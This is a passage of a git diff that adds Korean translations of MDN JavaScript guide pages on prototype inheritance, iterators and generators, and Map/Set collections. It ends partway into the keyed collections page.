+<p>참고: <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined"><code>undefined</code></a>인지 여부만 확인하는 것으로는 충분하지 않다. 여전히 속성이 존재할 수도 있는데 단지 그 값에 <code>undefined</code>가 할당되어 있을 수도 있기 때문이다.</p>
+
+<h3 id="좋지_않은_사례_기본_프로타입의_확장_변형">좋지 않은 사례: 기본 프로타입의 확장 변형</h3>
+
+<p>Object.prototype 혹은 빌트인 프로토타입의 확장은 종종 이용되지만 오용이다.</p>
+
+<p>이 기법은 Monkey patching으로 불리며 캡슐화를 망가뜨린다. Prototype.js와 같은 유명한 프레임워크에서도 사용되지만, 빌트인 타입에 비표준 기능을 추가하는 것은 좋은 생각이 아니다.</p>
+
+<p>유일하게 좋은 사용 예라면, 새로운 자바스크립트 엔진에 Array.forEach등의 새로운 기능을 추가하면서 빌트인 프로토타입을 확장하는 것 정도다. </p>
+
+<h2 id="예">예</h2>
+
+<p><code>B는 A를 상속한다</code>:</p>
+
+<pre class="brush: js">function A(a) {
+  this.varA = a;
+}
+
+// A의 정의에서 this.varA는 항상 A.prototype.varA가 가려버리는데
+// prototype에 varA를 다시 넣는 이유는 무엇인가?
+A.prototype = {
+  varA: null,  // 아무것도 안하면서 varA를 쓰는 이유가 있을까?
+      // 아마도 숨겨진 클래스의 할당 구조를 최적화 하려는 것인가?
+      // https://developers.google.com/speed/articles/optimizing-javascript#Initializing-instance-variables
+      // 모든 객체의 varA가 동일하게 초기화 되어야 상기 링크 내용이 유효할 수 있다.
+  doSomething: function() {
+    // ...
+  }
+};
+
+function B(a, b) {
+  A.call(this, a);
+  this.varB = b;
+}
+B.prototype = Object.create(A.prototype, {
+  varB: {
+    value: null,
+    enumerable: true,
+    configurable: true,
+    writable: true
+  },
+  doSomething: {
+    value: function() { // override
+      A.prototype.doSomething.apply(this, arguments); // call super
+      // ...
+    },
+    enumerable: true,
+    configurable: true,
+    writable: true
+  }
+});
+B.prototype.constructor = B;
+
+var b = new B();
+b.doSomething();
+</pre>
+
+<p>중요한 점은:</p>
+
+<ul>
+ <li><code>.prototype</code>에 타입이 정의되어 있다.</li>
+ <li><code>Object.create()</code>을 이용하여 상속한다.</li>
+</ul>
+
+<h2 id="prototype_그리고_Object.getPrototypeOf"><code>prototype</code> <code>그리고 Object.getPrototypeOf</code></h2>
+
+<p>Java나 C++에 익숙한 개발자는 클래스라는 것도 없고, 모든 것이 동적이고 실행 시 결정되는 자바스크립트의 특징 때문에 어려움을 겪을 수도 있다. 모든 것은 객체이고, 심지의 "class"를 흉내내는 방식도 단지 함수 오브젝트를 이용하는 것 뿐이다.</p>
+
+<p>이미 알아챘겠지만 우리의 함수 A도 특별한 속성 prototype를 가지고 있다. 이 특별한 속성은 자바스크립트의 new 연산자와 함께 쓰인다. 프로토타입 객체는 새로 만들어진 인스턴스의 내부 [[Prototype]] 속성에 복사되어 참조된다. 가령, var a1 = new A()를 수행할 때, this를 포함하고 있는 함수을 수행하기 전, 메모리에 새로 생성된 객체를 생성한 직후 자바스크립트는 a1.[[Prototype]] = A.prototype를 수행한다. 그 인스턴스의 속성에 접근하려 할 때 자바스크립트는 그 객체의 개인 속성인지 우선 확인하고 그렇지 않은 경우에 [[Prototype]]에서 찾는다. 이것은 prototype에 정의한 모든 것은 모든 인스턴스가 효과적으로 공유한다는 뜻이며, 심지어 프로토타입의 일부를 나중에 변경하다고 해도 이미 생성되어 있는 인스턴스는 필요한 경우 그 변경 사항에 접근할 수 있다.</p>
+
+<p>위의 예에서, 만일 <code>var a1 = new A(); var a2 = new A();</code> 그 후 <code>a1.doSomething</code>이 <code>Object.getPrototypeOf(a1).doSomething</code>를 가리키게 되는 것은<code>A.prototype.doSomething</code>으로 정의한 것과 같게 된다. 즉, <code>Object.getPrototypeOf(a1).doSomething == Object.getPrototypeOf(a2).doSomething == A.prototype.doSomething</code>.</p>
+
+<p>요약 하자면, prototype은 타입 정의를 위한 것이고, <code>Object.getPrototypeOf()</code>는 모든 인스턴스가 공유한다.</p>
+
+<p><code>[[Prototype]]</code>은 재귀적으로 탐색된다. 즉, <code>a1.doSomething</code>, <code>Object.getPrototypeOf(a1).doSomething</code>,<code>Object.getPrototypeOf(Object.getPrototypeOf(a1)).doSomething</code> 등등, 이미 발견했거나 <code>Object.getPrototypeOf</code>가 <code>null</code>을 반환할 때까지 반복된다.</p>
+
+<p>따라서 다음 호출에 대하여</p>
+
+<pre class="brush: js">var o = new Foo();</pre>
+
+<p>자바스크립트는 실제로 다음 작업을 수행한다.</p>
+
+<pre class="brush: js">var o = new Object();
+o.[[Prototype]] = Foo.prototype;
+Foo.call(o);</pre>
+
+<p>(혹은 그런 비슷한 작업, 내부 구현은 다를 수 있다) 그리고 나중에 다음을 수행하면</p>
+
+<pre class="brush: js">o.someProp;</pre>
+
+<p>자바스크립트는 o가 속성 someProp을 가졌는지 확인하고, 아니면 <code>Object.getPrototypeOf(o).someProp</code>, 또 아니면 <code>Object.getPrototypeOf(Object.getPrototypeOf(o)).someProp</code> 등으로 계속 된다.</p>
+
+<h2 id="프로토타입_상속의_종류">프로토타입 상속의 종류</h2>
+
+<p>프로토타입 상속에는 3가지 종류가 있다 : 위임형 상속, 연결형 상속, 함수형 상속.</p>
+
+<h3 id="위임형_상속Delegation_inheritance">위임형 상속(Delegation inheritance)</h3>
+
+<p>위임형 상속에서 프로토타입 객체는 다른 객체의 기반이 된다. 위임 프로토타입을 상속받을 경우 새 객체는 해당 프로토타입에 대한 참조를 가지고 있다.</p>
+
+<p>새 객체의 속성에 접근할 때, 해당 객체가 직접적으로 속성을 소유하고 있는지 먼저 체크한다. 없다면 다음 순서로 <code>[[Prototype]]</code>을 체크한다. 이 과정은 프로토타입 체인을 따라서 모든 객체의 프로토타입 체인의 최상위에 있는 객체인 <code>Object.prototype</code>에 도달할 때 까지 반복된다.</p>
+
+<p>메소드를 위임 상속할 경우 모든 객체가 각 메소드에에 대해 하나의 코드를 공유하므로 메모리를 절약할 수 있다.</p>
+
+<p>Javascript에서 이를 구현하는 방법은 여러가지가 있는데 ES6에서는 아래와 같은 방식이 흔하다:</p>
+
+<pre class="brush: js">class Greeter {
+  constructor (name) {
+    this.name = name || 'John Doe';
+  }
+  hello () {
+    return `Hello, my name is ${ this.name }`;
+  }
+}
+
+const george = new Greeter('George');
+const msg = george.hello();
+console.log(msg); // Hello, my name is George
+</pre>
+
+<p><code>Object.create(null)</code>. 을 통해 프로토타입을 {{jsxref("null")}}로 지정하여 속성 위임 없이 객체를 생성할 수 있다..</p>
+
+<p>이 방법의 큰 단점 중 하나는 상태를 저장하는데 그리 좋은 방법이 아니라는 것이다. 객체나 배열의 상태를 변경하게 되면 같은 프로토타입을 공유하는 모든 객체의 상태가 변경된다.</p>
+
+<p>상태 변경이 전파되는 것을 막으려면 각 객체마다 상태 값의 복사본을 만들어야 한다.</p>
+
+<h3 id="연결형_상속Concatenative_inheritance">연결형 상속(Concatenative inheritance)</h3>
+
+<p>연결형 상속은 한 객체의 속성을 다른 객체에 모두 복사함으로써 상속을 구현하는 방법이다.</p>
+
+<p>이 상속법은 Javascript 객체의 동적 확장성을 이용한 방법이다. 객체 복사는 속성의 초기값을 저장하기 위한 좋은 방법이다: 이 방식은 {{jsxref("Object.assign()")}}을 통해 구현하는 것이 보통이며 ES6 이전에 Lodash, Underscore, jQuery등의 라이브러리들이 <code>.extend()</code> 와 비슷한 메소드로 제공한 방법이다.</p>
+
+<pre class="brush: js">const proto = {
+  hello: function hello() {
+    return `Hello, my name is ${ this.name }`;
+  }
+};
+
+const george = Object.assign({}, proto, {name: 'George'});
+const msg = george.hello();
+console.log(msg); // Hello, my name is George
+</pre>
+
+<p>연결형 상속은 매우 좋은 방법이며 클로져와 같이 사용한다면 훨씬 효과적인 상속 방식입니다..</p>
+
+<h3 id="함수형_상속Functional_inheritance">함수형 상속(Functional inheritance)</h3>
+
+<p>함수형 상속(Functional inheritance)이라는 단어는 Douglas Crockford가 자신의 저서 “JavaScript: The Good Parts”에서 창조한 단어이다. 이 방법은 새 속성들을 연결형 상속으로 쌓되 상속 기능을 Factory 함수로 만들어 사용하는 방식이다.</p>
+
+<p>기존의 객체를 확장하는데 쓰이는 함수를 일반적으로 믹스인 함수라 칭한다. 객체 확장에 함수를 사용하는 가장 큰 이점은 Private Data를 클로져를 통해 캡슐화 시킬 수 있다는 점이다.</p>
+
+<p>다르게 말하자면 Private 상태를 지정할 수 있다는 의미이다.</p>
+
+<p>특정 함수를 통할 필요 없이 public 접근이 가능한 속성에 대해 접근 제한을 거는 것은 문제가 있다. 따라서 private 클로져에 속성 값을 숨겨야 하며 이는 아래와 같이 구현한다:</p>
+
+<pre class="brush: js">// import Events from 'eventemitter3';
+
+const rawMixin = function () {
+  const attrs = {};
+  return Object.assign(this, {
+    set (name, value) {
+      attrs[name] = value;
+      this.emit('change', {
+        prop: name,
+        value: value
+      });
+    },
+    get (name) {
+      return attrs[name];
+    }
+  }, Events.prototype);
+};
+
+const mixinModel = (target) =&gt; rawMixin.call(target);
+const george = { name: 'george' };
+const model = mixinModel(george);
+model.on('change', data =&gt; console.log(data));
+model.set('name', 'Sam');
+/*
+{
+  prop: 'name',
+  value: 'Sam'
+}
+*/
+</pre>
+
+<p><code>attrs</code> 을 public 속성에서 private 영역으로 옮겨서 public API를 통한 접근을 차단할 수 있다. // 접근할 수 있는 유일한 방법은 Privileged 메소드 뿐이다. Privileged 메소드는 클로져 영역에 정의된 함수로 private data에 접근 가능한 함수들을 일컫는다.</p>
+
+<p>위 예제를 보면 믹스인 함수 <code>rawMixin()</code>.에 대한 래퍼로 <code>mixinModel()</code> 을 선언한 것을 알 수 있다. 이는 예제에서 {{jsxref("Function.prototype.call()")}} 을 사용했듯이 함수 내에서 <code>this</code>의 값을 설정해야 하기 때문이다. Wrapper를 생략하고 호출자가 알아서 하도록 놔둘 수 있지만 그럴 경우 혼동될 가능성이 있다.</p>
+
+<div>
+<h2 id="결론">결론</h2>
+
+<p>복잡한 코드를 작성하여 이용하기 전에 프로토타입 기반의 상속 모델을 이해하는 것이 <strong>중요하다</strong>. 또한 프로토타입 체인의 길이는 성능을 저해하지 않도록 줄이는 방법을 고안해야 한다. 또한 빌트인 프로토타입은 새로운 자바스크립트 기능과 호환성을 갖기 위한 이유가 아닌 이상 <strong>절대</strong> 확장해서는 안된다.</p>
+</div>
+</div>
diff --git a/files/ko/web/javascript/guide/iterators_and_generators/index.html b/files/ko/web/javascript/guide/iterators_and_generators/index.html
new file mode 100644
index 0000000000..648b898504
--- /dev/null
+++ b/files/ko/web/javascript/guide/iterators_and_generators/index.html
@@ -0,0 +1,193 @@
+---
+title: 반복기 및 생성기
+slug: Web/JavaScript/Guide/Iterators_and_Generators
+tags:
+  - Guide
+  - Intermediate
+  - JavaScript
+translation_of: Web/JavaScript/Guide/Iterators_and_Generators
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Using_promises", "Web/JavaScript/Guide/Meta_programming")}}</div>
+
+<p class="summary">컬렉션 내 각 항목 처리는 매우 흔한 연산입니다. JavaScript는 간단한 {{jsxref("Statements/for","for")}} 루프에서 {{jsxref("Global_Objects/Array/map","map()")}} 및 {{jsxref("Global_Objects/Array/filter","filter()")}}에 이르기까지, 컬렉션을 반복하는 많은 방법을 제공합니다. 반복기(iterator) 및 생성기(generator)는 반복 개념을 핵심 언어 내로 바로 가져와 {{jsxref("Statements/for...of","for...of")}} 루프의 동작(behavior)을 사용자 정의하는 메커니즘을 제공합니다.</p>
+
+<p>자세한 내용은, 다음을 참조하세요:</p>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Iteration_protocols">반복 프로토콜</a></li>
+ <li>{{jsxref("Statements/for...of","for...of")}}</li>
+ <li>{{jsxref("Statements/function*","function*")}} 및 {{jsxref("Generator")}}</li>
+ <li>{{jsxref("Operators/yield","yield")}} 및 {{jsxref("Operators/yield*","yield*")}}</li>
+</ul>
+
+<h2 id="반복자">반복자</h2>
+
+<p>자바스크립트에서 <strong>반복자(Iterator)</strong>는 시퀀스를 정의하고  종료시의 반환값을 잠재적으로 정의하는 객체입니다.  더 구체적으로 말하자면, 반복자는 두 개의 속성( <code>value</code>, <code>done</code>)을 반환하는 next() 메소드 사용하여  객체의 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#The_iterator_protocol">Iterator protocol</a>을 구현합니다. 시퀀스의 마지막 값이 이미 산출되었다면 <code>done</code> 값은 true 가 됩니다. 만약 <code>value</code>값이 <code>done</code> 과 함께 존재한다면, 그것은 반복자의 반환값이 됩니다.</p>
+
+<p>반복자를 생성하면 <code>next()</code> 메소드를 반복적으로 호출하여 명시적으로 반복시킬 수 있습니다.  반복자를 반복시키는 것은 일반적으로 한 번씩만 할 수 있기 때문에, 반복자를 소모시키는 것이라고 할 수 있습니다. 마지막 값을 산출하고나서  <code>next()</code>를 추가적으로 호출하면 <code>{done: true}</code>. 가 반환됩니다.</p>
+
+<p>자바스크립트에서 가장 일반적인 반복자는 배열 반복자로, 배열의 각 값을 순서대로 반환합니다. 모든 반복자가 배열로 표현될수 있다고 상상할 수 있지만 , 이것은 사실은 아닙니다. 배열은 완전히 할당되어야 하지만,  반복자는 필요한만큼만 소모되므로  무제한 시퀀스로 표현할 수 있습니다. 이를 테면 0부터 무한대사이의 정수범위처럼 말이죠.</p>
+
+<p>여기에 실습할 수 있는 예제가 있습니다.  <code>start</code>에서 <code>end</code>까지 <code>step</code> 수 만큼 띄어진  정수 시퀀스를 정의하는 간단한 범위 반복자를 만들 수 있습니다. 최종적으로 시퀀스의 크기가 반환됩니다.</p>
+
+<pre class="notranslate"><code>function makeRangeIterator(start = 0, end = Infinity, step = 1) {
+    var nextIndex = start;
+    var n = 0;
+
+    var rangeIterator = {
+       next: function() {
+           var result;
+           if (nextIndex &lt; end) {
+               result = { value: nextIndex, done: false }
+           } else if (nextIndex == end) {
+               result = { value: n, done: true }
+           } else {
+               result = { done: true };
+           }
+           nextIndex += step;
+           n++;
+           return result;
+       }
+    };
+    return rangeIterator;
+}</code>
+</pre>
+
+<p>위의 반복자를 사용하면 아래와 같습니다:</p>
+
+<pre class="notranslate"><code>var it = makeRangeIterator(1, 4);
+
+var result = it.next();
+while (!result.done) {
+ console.log(result.value); // 1 2 3
+ result = it.next();
+}
+
+console.log("Iterated over sequence of size: ", result.value);</code>
+</pre>
+
+<div class="note">
+<p>It is not possible to know reflectively whether a particular object is an iterator. If you need to do this, use <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Guide/Iterators_and_Generators$edit#Iterables">Iterables</a>.</p>
+</div>
+
+<h2 id="Generator_functions">Generator functions</h2>
+
+<p>잘 만들어진 반복자(Iterator)는 유용한 도구인 반면, 이것을 생성할 때는 주의해서 프로그래밍을 해야 하는데, 반복자 내부에 명시적으로 상태를 유지할 필요가 있기 때문입니다. 생성자(Generator) 함수는 이에 대한 강력한 대안을 제공합니다: 실행이 연속적이지 않은 하나의 함수를 작성함으로서 개발자가 iterative algorithm을 정의할 수 있게 해줍니다. 생성자 함수는 {{jsxref("Statements/function*","function*")}} 문법을 사용하여 작성됩니다. 생성자 함수가 최초로 호출될 때, 함수 내부의 어떠한 코드도 실행되지 않고, 대신 생성자라고 불리는 반복자 타입을 반환합니다. 생성자의 <strong>next</strong> 메소드를 호출함으로서 어떤 값이 소비되면, 생성자 함수는 <strong>yield</strong> 키워드를 만날 때까지 실행됩니다. </p>
+
+<p>생성자 함수는 원하는 만큼 호출될 수 있고, 매번 새로운 생성자를 반환합니다다. 하지만, 각 생성자는 단 한 번만 순회될 수 있을 것입니다.</p>
+
+<p>위의 예제 코드에 생성자를 적용한 것입니다. 두 코드의 행위는 동일하지만, 생성자를 사용한 쪽이 쓰거나 읽기가 훨씬 쉽습니다. </p>
+
+<pre class="notranslate"><code>function* makeRangeIterator(start = 0, end = Infinity, step = 1) {
+    let n = 0;
+    for (let i = start; i &lt; end; i += step) {
+        n++;
+        yield i;
+    }
+    return n;
+}</code></pre>
+
+<h2 id="Iterables">Iterables</h2>
+
+<p>객체는 값이 {{jsxref("Statements/for...of", "for..of")}} 구조 내에서 반복되는 것 같은 그 반복 동작을 정의하는 경우 반복이 가능(<strong>iterable</strong>)합니다. {{jsxref("Array")}} 또는 {{jsxref("Map")}}과 같은 일부 내장 형은 기본 반복 동작이 있지만 다른 형(가령 {{jsxref("Object")}})은 없습니다.</p>
+
+<p><strong>반복가능</strong>하기 위해서, 객체는 <strong>@@iterator</strong> 메서드를 구현해야 합니다. 즉, 객체( 혹은 그 <a href="/ko/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain" title="prototype chain">프로토타입 체인</a>에 등장하는 객체 중 하나)가 {{jsxref("Symbol.iterator")}} 키를 갖는 속성이 있어야 함을 뜻합니다.</p>
+
+<p>하나의 iterable은 단 한 번, 혹은 여러번 반복가능합니다. 어떤 순간에 어떻게 사용할 지는 프로그래머에게 달려있습니다. 단 한 번 반복가능한 iterable(e.g. Generator)은 관습적으로 자신의 <strong>@@iterator</strong> 메소드로부터 <strong>this</strong>를 반환합니다. 반면, 여러 번 반복 가능한 iterables은 <strong>@@iterator </strong>메소드가 호출되는 매 회 새로운 iterator를 반드시 반환해야합니다. </p>
+
+<h3 id="사용자_정의_iterable">사용자 정의 iterable</h3>
+
+<p>이와 같이 자신의 반복가능 객체를 만들 수 있습니다:</p>
+
+<pre class="notranslate"><code>var myIterable = {
+    *[Symbol.iterator]() {
+        yield 1;
+        yield 2;
+        yield 3;
+    }
+}
+
+for (let value of myIterable) {
+    console.log(value);
+}
+// 1
+// 2
+// 3
+
+or
+
+[...myIterable]; // [1, 2, 3]</code></pre>
+
+<h3 id="내장_iterable">내장 iterable</h3>
+
+<p>{{jsxref("String")}}, {{jsxref("Array")}}, {{jsxref("TypedArray")}}, {{jsxref("Map")}} 및 {{jsxref("Set")}}은 모두 내장 반복가능 객체입니다, 그들의 프로토타입 객체가 모두 {{jsxref("Symbol.iterator")}} 메서드가 있기 때문입니다.</p>
+
+<h3 id="iterable을_기대하는_구문">iterable을 기대하는 구문</h3>
+
+<p>일부 문(statement) 및 식(expression)은 iterable합니다, 가령 {{jsxref("Statements/for...of","for-of")}} 루프, {{jsxref("Operators/Spread_operator","spread syntax","","true")}}, {{jsxref("Operators/yield*","yield*")}} 및 {{jsxref("Operators/Destructuring_assignment","해체 할당","","true")}}.</p>
+
+<pre class="brush: js notranslate">for(let value of ['a', 'b', 'c']){
+    console.log(value)
+}
+// "a"
+// "b"
+// "c"
+
+[...'abc'] // ["a", "b", "c"]
+
+function* gen(){
+  yield* ['a', 'b', 'c']
+}
+
+gen().next() // { value:"a", done:false }
+
+[a, b, c] = new Set(['a', 'b', 'c'])
+a // "a"
+
+
+</pre>
+
+<h2 id="Generator_심화">Generator 심화</h2>
+
+<p> 생성자 함수는 요청에 따라 그 산출된(yielded, yield 식으로 산출된) 값을 계산하고, 계산하기 비싼(힘든) 수열 또는 위에 설명한 대로 무한 수열이라도 효율적으로 나타내게 합니다.</p>
+
+<p>{{jsxref("Global_Objects/Generator/next","next()")}} 메서드는 또한 생성기의 내부 상태를 수정하는 데 쓰일 수 있는 값을 받습니다. <code>next()</code>에 전달되는 값은 생성기가 중단된 마지막 <code>yield</code> 식의 결과로 처리됩니다.</p>
+
+<p>여기 sequence(수열)을 재시작하기 위해 <code>next(x)</code>를 사용하는 피보나치 생성기가 있습니다:</p>
+
+<pre class="brush: js notranslate">function* fibonacci(){
+  var fn1 = 0;
+  var fn2 = 1;
+  while (true){
+    var current = fn1;
+    fn1 = fn2;
+    fn2 = current + fn1;
+    var reset = yield current;
+    if (reset){
+        fn1 = 0;
+        fn2 = 1;
+    }
+  }
+}
+
+var sequence = fibonacci();
+console.log(sequence.next().value);     // 0
+console.log(sequence.next().value);     // 1
+console.log(sequence.next().value);     // 1
+console.log(sequence.next().value);     // 2
+console.log(sequence.next().value);     // 3
+console.log(sequence.next().value);     // 5
+console.log(sequence.next().value);     // 8
+console.log(sequence.next(true).value); // 0
+console.log(sequence.next().value);     // 1
+console.log(sequence.next().value);     // 1
+console.log(sequence.next().value);     // 2
+</pre>
+
+<p>You can force a generator to throw an exception by calling its {{jsxref("Global_Objects/Generator/throw","throw()")}} method and passing the exception value it should throw. This exception will be thrown from the current suspended context of the generator, as if the <code>yield</code> that is currently suspended were instead a <code>throw<em>value</em></code> statement.</p>
+
+<p>If the exception is not caught from within the generator,  it will propagate up through the call to <code>throw()</code>, and subsequent calls to <code>next()</code> will result in the <code>done</code> property being <code>true</code>.</p>
+
+<p>Generators have a {{jsxref("Global_Objects/Generator/return","return(value)")}} method that returns the given value and finishes the generator itself.</p>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Using_promises", "Web/JavaScript/Guide/Meta_programming")}}</p>
diff --git a/files/ko/web/javascript/guide/keyed_collections/index.html b/files/ko/web/javascript/guide/keyed_collections/index.html
new file mode 100644
index 0000000000..a206b6556d
--- /dev/null
+++ b/files/ko/web/javascript/guide/keyed_collections/index.html
@@ -0,0 +1,149 @@
+---
+title: 키기반의 컬렉션
+slug: Web/JavaScript/Guide/Keyed_collections
+translation_of: Web/JavaScript/Guide/Keyed_collections
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Indexed_Collections", "Web/JavaScript/Guide/Working_with_Objects")}}</div>
+
+<p class="summary">이번 장에서는 입력된 키값을 기준으로 정렬되는 데이터의 집합(자료 구조)에 대해 소개 할 것이다. Map과 Set은 입력된 순서대로 반복적으로 접근 가능한 요소들을 포함하고 있다. </p>
+
+<h2 id="Maps">Maps</h2>
+
+<h3 id="Map_객체"><code>Map</code> 객체</h3>
+
+<p>ECMAScript 6에서 값들을 매핑하기 위한 새로운 데이터 구조를 소개 하고 있다.  그중 하나인 Map객체는 간단한 키와 값을 서로 연결(매핑)시켜 저장하며 저장된 순서대로 각 요소들을 반복적으로 접근할 수 있도록 한다. </p>
+
+<p>다음 코드는 Map이 제공하는 기본적인 기능들을 보여 주고 있다. 더 많은 예제와 모든 기능에 대한 API를 볼려면 {{jsxref("Map")}} 페이지를 참고하면 된다. Map객체에 저장되어 있는 각 요소들을 [키, 값] 형태의 배열로 반복적으로 반환해주는 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></code> 를 사용할 수 있다.</p>
+
+<pre class="brush: js">var sayings = new Map();
+sayings.set("dog", "woof");
+sayings.set("cat", "meow");
+sayings.set("elephant", "toot");
+sayings.size; // 3
+sayings.get("fox"); // undefined
+sayings.has("bird"); // false
+sayings.delete("dog");
+
+for (var [key, value] of sayings) {
+  console.log(key + " goes " + value);
+}
+// "cat goes meow"
+// "elephant goes toot"
+</pre>
+
+<h3 id="Object와_Map_비교"><font face="Consolas, Liberation Mono, Courier, monospace">Object와 Map 비교</font></h3>
+
+<p>전통적으로 {{jsxref("Object", "objects", "", 1)}} 는 문자열을 값에 매핑하는 데 사용되었다. Object는 키를 값으로 설정하고, 값을 검색하고, 키를 삭제하고, 키에 저장된 내용을 검색 할 수 있게 만들어준다. 그러나 Map 객체는 더 나은 맵이 되도록 하는 몇 가지 장점을 가지고 있다.</p>
+
+<ul>
+ <li>Object의 키는 {{jsxref("Global_Objects/String","Strings")}}이며, Map의 키는 모든 값을 가질 수 있다.</li>
+ <li>Object는 크기를 수동으로 추적해야하지만, Map은 크기를 쉽게 얻을 수 있다.</li>
+ <li>Map은 삽입된 순서대로 반복된다.</li>
+ <li>객체(Object)에는 prototype이 있어 Map에 기본 키들이 있다. (이것은 map = Object.create(null) 를 사용하여 우회할 수 있다. )</li>
+</ul>
+
+<p>Object 혹은 Map중에 어느 것을 사용할지를 결정하는데 도움을 줄 두가지 팁이 있다:</p>
+
+<ul>
+ <li>실행 시까지 키를 알수 없고, 모든 키가 동일한 type이며 모든 값들이 동일한 type일 경우에는 objects를  대신해서 map을 사용해라. </li>
+ <li>각 개별 요소에 대해 적용해야 하는 로직이 있을 경우에는 objects를 사용해라. </li>
+</ul>
+
+<h3 id="WeakMap_object"><code>WeakMap</code> object</h3>
+
+<p>{{jsxref("WeakMap")}}객체는  object만을 키로 허용하고 값은 임의의 값을 허용하는  키/값 형태의 요소의 집합이다. 키가 가지고 있는 객체에 대한 참조는 객체에 대한 참조가 더이상 존재하지 않을 경우 garbage collection(GC)의 수거 대상이 되는 약한 참조를 의미한다. <code>WeakMap</code> API는 Map API와 동일하다. </p>
+
+<p>단 한가지  Map객체와 다른 점은 WeakMap의 키들은 열거형이 아니라는 점이다. (즉, 키 목록을 제공해 주는 메서드가 없다는 것이다.) 만약에 키 목록을 제공한다면 garbage collection의 상태, 결과에 따라 키 목록이 변하게 될 것이다. 이는 비 결정성을 야기한다. </p>
+
+<p>WeakMap에 대한 더 많은 정보와 예제 코드 그리고 "왜 WeakMap을 사용하지?"를 보고 싶다면 {{jsxref("WeakMap")}} 페이지를 참고하면 된다. </p>
+
+<p><code>WeakMap를 사용하는 한가지 경우는 객체의 사적인 정보를 저장하기 위해서 이거나 상세 구현 내용을 숨기기 위한 것이다. 다음의 예제는 </code>Nick Fitzgerald의 블로그 글- <a href="http://fitzgeraldnick.com/weblog/53/">"Hiding Implementation Details with ECMAScript 6 WeakMaps"</a>-에서 가져온 것이다. 객체가 가지고 있는 그렇지만 외부에 공개되지 않는(private) 데이터와 메서드들은 WeakMap객체인 privates에 저장이 된다. 인스턴스를 통해 접근 가능한 모든 것들과 prototype은 public이고 다른 것들은 외부에서는 접근이 불가하다 그 이유는 privates는 모듈로부터 내보내기(export)가 되지 않기 때문이다.</p>
+
+<pre class="brush: js">const privates = new WeakMap();
+
+function Public() {
+  const me = {
+    // Private data goes here
+  };
+  privates.set(this, me);
+}
+
+Public.prototype.method = function () {
+  const me = privates.get(this);
+  // Do stuff with private data in `me`...
+};
+
+module.exports = Public;
+</pre>
+
+<h2 id="Sets">Sets</h2>
+
+<h3 id="Set_object"><code>Set</code> object</h3>
+
+<p>{{jsxref("Set")}}객체는 값들의 집합이다. 입력된 순서에따라 저장된 요소를 반복처리할 수 있다. Set은 중복된 값을 허용하지 않는다. 따라서 특정 값은 Set내에서 하나만 존재 하게 된다. </p>
+
+<p>아래의 코드는 Set의 기본적인 동작들을 보여 준다. 더 많은 예제와 모든 API는 {{jsxref("Set")}} 참조 페이지를 보면 된다. </p>
+
+<pre class="brush: js">var mySet = new Set();
+mySet.add(1);
+mySet.add("some text");
+mySet.add("foo");
+
+mySet.has(1); // true
+mySet.delete("foo");
+mySet.size; // 2
+
+for (let item of mySet) console.log(item);
+// 1
+// "some text"
+</pre>
+
+<h3 id="배열과_Set의_상호_변환">배열과 Set의 상호 변환</h3>
+
+<p>{{jsxref("Array.from")}} 혹은 <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator">spread operator</a>를 통해 Set객체를 가지고 {{jsxref("Array")}}을 생성할 수 있다. 또한 Set 생성자는 배열을 인자로 받을 수 있고 해당 배열을 Set객체의 요소로 저장한다. 한번 더 상기시키면 Set객체는 중복된 값을 저장하지 않기때문에 주어진 배열내의 중복된 요소들을 제거되어 Set으로 변환된다. </p>
+
+<pre class="brush: js">Array.from(mySet);
+[...mySet2];
+
+mySet2 = new Set([1,2,3,4]);
+</pre>
+
+<h3 id="배열과_Set비교"><font face="Consolas, Liberation Mono, Courier, monospace">배열과 Set비교</font></h3>
+
+<p>일반적으로 Javascript에선 배열에 특정 요소의 집합을 저장한다. 하지만 Set객체는 몇가지 이점을 제공한다. </p>
+
+<ul>
+ <li>{{jsxref("Array.indexOf", "indexOf")}}메서드를 사용하여 배열내에 특정 요소가 존재하는지 확인하는 것은 느리다.</li>
+ <li>배열에선 해당 요소를 배열에서 잘라내야 하는 반면 Set객체는 요소의 값으로 해당 요소를 삭제하는 기능 제공한다.</li>
+ <li>{{jsxref("NaN")}}은 배열에서 indexOf메서드로 찾을 수 없다. </li>
+ <li>Set객체는 값의 유일성을 보장하기 때문에 직접 요소의 중복성을 확인할 필요가 없다. </li>
+</ul>
+
+<h3 id="WeakSet_객체"><code>WeakSet</code> 객체</h3>
+
+<p>{{jsxref("WeakSet")}} objects are collections of objects. An object in the <code>WeakSet</code> may only occur once; it is unique in the <code>WeakSet</code>'s collection and objects are not enumerable.</p>
+
+<p>{{jsxref("WeakSet")}}객체는 객체를 저장하는 일종의 집합이다. <code>WeakSet내의 중복된 객체는 없으며 WeakSet내의 요소를 열거할 수는 없다.  </code></p>
+
+<p>{{jsxref("Set")}}과 가장 큰 차이점은 다음과 같다.</p>
+
+<ul>
+ <li><code>Set과는 다르게 WeakSet은 객체의 집합이며 객체만 저장할 수 있다. 특정 type의 값을 저장할 수는 없다. </code></li>
+ <li><font face="Consolas, Liberation Mono, Courier, monospace">WeakSet은 약한 참조를 가진다. WeakSet내의 객체에 대한 참조는 약하게 연결이 되어 있다. WeakSet내에 저장되어 있는 객체에 대한 참조가 없게되면 garbage collection 대상이되어 수거 된다. 따라서 현재 저장되어 있는 객체에 대한 목록은 없으며 WeakSet은 열거형이 아니다. </font></li>
+</ul>
+
+<p><code>WeakSet객체의 사용 사례는 제한되어 있다. 메모리 누수가 발생되지 않기때문에 안전하게 DOM요소를 키로 저장할 수 있고 예를 들면 추적을 위해 DOM요소들을 WeakSet에 저장할 수 있다. </code></p>
+
+<p> </p>
+
+<h2 id="Map과_Set의_키와_값의_동치성"><code>Map과 Set의 키와 값의 동치성</code></h2>
+
